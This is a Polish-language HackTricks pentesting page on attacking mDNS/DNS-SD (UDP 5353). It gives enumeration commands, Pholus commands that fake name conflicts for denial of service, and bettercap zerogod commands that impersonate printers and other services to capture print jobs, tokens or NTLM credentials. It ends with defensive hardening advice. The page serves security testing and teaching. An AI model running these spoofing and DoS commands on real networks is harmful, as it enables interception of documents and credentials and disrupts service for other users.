5353/UDP Multicast DNS (mDNS) i DNS-SD
Reading time: 7 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
Multicast DNS (mDNS) umożliwia rozwiązywanie nazw i odkrywanie usług podobnie jak DNS w lokalnym połączeniu bez serwera DNS unicast. Używa UDP/5353 oraz adresów multicast 224.0.0.251 (IPv4) i FF02::FB (IPv6). Odkrywanie usług DNS (DNS-SD, zazwyczaj używane z mDNS) zapewnia ustandaryzowany sposób enumeracji i opisu usług za pomocą rekordów PTR, SRV i TXT.
PORT STATE SERVICE
5353/udp open zeroconf
Kluczowe szczegóły protokołu, które często wykorzystasz podczas ataków:
- Nazwy w strefie .local są rozwiązywane za pomocą mDNS.
- Bit QU (Query Unicast) może żądać odpowiedzi unicast nawet dla pytań multicast.
- Implementacje powinny ignorować pakiety, które nie pochodzą z lokalnego łącza; niektóre stosy nadal je akceptują.
- Probing/ogłaszanie wymusza unikalne nazwy hostów/usług; zakłócanie tutaj tworzy warunki DoS/„squattingu nazw”.
Model usługi DNS-SD
Usługi są identyfikowane jako _
Eksploracja i enumeracja sieci
- skanowanie celu nmap (bezpośredni mDNS na hoście):
nmap -sU -p 5353 --script=dns-service-discovery <target>
- odkrywanie broadcastowe nmap (nasłuchuj segmentu i enumeruj wszystkie typy/instancje DNS-SD):
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse (Linux):
# Lista typów usług
avahi-browse -bt _services._dns-sd._udp
# Przeglądaj wszystkie usługi i rozwiązuj do hosta/portu
avahi-browse -art
- Apple dns-sd (macOS):
# Przeglądaj wszystkie usługi HTTP
dns-sd -B _http._tcp
# Enumeruj typy usług
dns-sd -B _services._dns-sd._udp
# Rozwiąż konkretną instancję do SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
- Przechwytywanie pakietów z tshark:
# Przechwytywanie na żywo
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Tylko zapytania o listę usług DNS-SD
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
Wskazówka: Niektóre przeglądarki/WebRTC używają efemerycznych nazw hostów mDNS, aby ukryć lokalne adresy IP. Jeśli zobaczysz kandydatów random-UUID.local w sieci, rozwiąż je za pomocą mDNS, aby przejść do lokalnych adresów IP.
Ataki
zakłócanie próbkowania nazw mDNS (DoS / squatting nazw)
Podczas fazy próbkowania host sprawdza unikalność nazw. Odpowiadanie sfałszowanymi konfliktami zmusza go do wyboru nowych nazw lub niepowodzenia. Może to opóźnić lub uniemożliwić rejestrację i odkrywanie usług.
Przykład z Pholus:
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
Fałszowanie usług i podszywanie się (MitM)
Podszywaj się pod ogłaszane usługi DNS-SD (drukarki, AirPlay, HTTP, udostępnianie plików), aby zmusić klientów do połączenia się z tobą. Jest to szczególnie przydatne do:
- Przechwytywania dokumentów poprzez fałszowanie _ipp._tcp lub _printer._tcp.
- Wabić klientów do usług HTTP/HTTPS, aby zbierać tokeny/ciasteczka lub dostarczać ładunki.
- Łączenie z technikami przekazywania NTLM, gdy klienci Windows negocjują uwierzytelnianie do fałszowanych usług.
Z modułem zerogod bettercap (fałszerz/podszywacz mDNS/DNS-SD):
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
Również zobacz ogólne LLMNR/NBNS/mDNS/WPAD spoofing i przepływy przechwytywania/relayowania poświadczeń:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Uwagi dotyczące ostatnich problemów z implementacją (przydatne do DoS/persistentności podczas zaangażowań)
- Błędy awarii Avahi reachable-assertion i D-Bus (2023) mogą zakończyć działanie avahi-daemon na dystrybucjach Linuksa (np. CVE-2023-38469..38473, CVE-2023-1981), zakłócając odkrywanie usług na docelowych hostach do czasu ponownego uruchomienia.
- DoS bramy mDNS Cisco IOS XE Wireless LAN Controller (2024, CVE-2024-20303) pozwala sąsiednim atakującym na generowanie wysokiego obciążenia CPU i rozłączanie AP. Jeśli napotkasz bramę mDNS między VLAN-ami, bądź świadomy jej stabilności w przypadku źle sformułowanego lub wysokiego tempa mDNS.
Rozważania obronne i OPSEC
- Granice segmentów: Nie routuj 224.0.0.251/FF02::FB między strefami bezpieczeństwa, chyba że brama mDNS jest wyraźnie wymagana. Jeśli musisz połączyć odkrywanie, preferuj listy dozwolone i limity prędkości.
- Punkty końcowe/serwery Windows:
- Aby trwale wyłączyć rozwiązywanie nazw za pomocą mDNS, ustaw wartość rejestru i uruchom ponownie:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- W zarządzanych środowiskach wyłącz wbudowaną regułę zapory Windows Defender „mDNS (UDP-In)” (przynajmniej w profilu domeny), aby zapobiec przetwarzaniu mDNS przychodzącego, zachowując funkcjonalność domową/roamingową.
- W nowszych wersjach Windows 11/ szablonach GPO użyj polityki „Konfiguracja komputera > Szablony administracyjne > Sieć > Klient DNS > Skonfiguruj protokół multicast DNS (mDNS)” i ustaw ją na Wyłączone.
- Linux (Avahi):
- Ogranicz publikowanie, gdy nie jest potrzebne: ustaw
disable-publishing=yes
i ogranicz interfejsy za pomocąallow-interfaces=
/deny-interfaces=
w/etc/avahi/avahi-daemon.conf
. - Rozważ
check-response-ttl=yes
i unikajenable-reflector=yes
, chyba że jest to ściśle wymagane; preferujreflect-filters=
listy dozwolone podczas refleksji. - macOS: Ogranicz przychodzące mDNS w zaporach hosta/sieci, gdy odkrywanie Bonjour nie jest potrzebne dla konkretnych podsieci.
- Monitorowanie: Powiadamiaj o nietypowych wzrostach zapytań
_services._dns-sd._udp.local
lub nagłych zmianach w SRV/TXT krytycznych usług; są to wskaźniki spoofingu lub podszywania się pod usługi.
Szybki przegląd narzędzi
- nmap NSE:
dns-service-discovery
ibroadcast-dns-service-discovery
. - Pholus: aktywne skanowanie, odwrotne mDNS, pomocnicy DoS i spoofingu.
# Pasywne sniff (sekundy timeout)
sudo python3 pholus3.py <iface> -stimeout 60
# Wymień typy usług
sudo python3 pholus3.py <iface> -sscan
# Wyślij ogólne zapytania mDNS
sudo python3 pholus3.py <iface> --request
# Odwrotne skanowanie mDNS podsieci
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod: odkrywanie, zapisywanie, ogłaszanie i podszywanie się pod usługi mDNS/DNS-SD (zobacz powyższe przykłady).
Spoofing/MitM
Najciekawszym atakiem, który możesz przeprowadzić za pomocą tej usługi, jest przeprowadzenie MitM w komunikacji między klientem a prawdziwym serwerem. Możesz być w stanie uzyskać wrażliwe pliki (MitM komunikacji z drukarką) lub nawet poświadczenia (uwierzytelnianie Windows).
Aby uzyskać więcej informacji, sprawdź:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Odniesienia
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.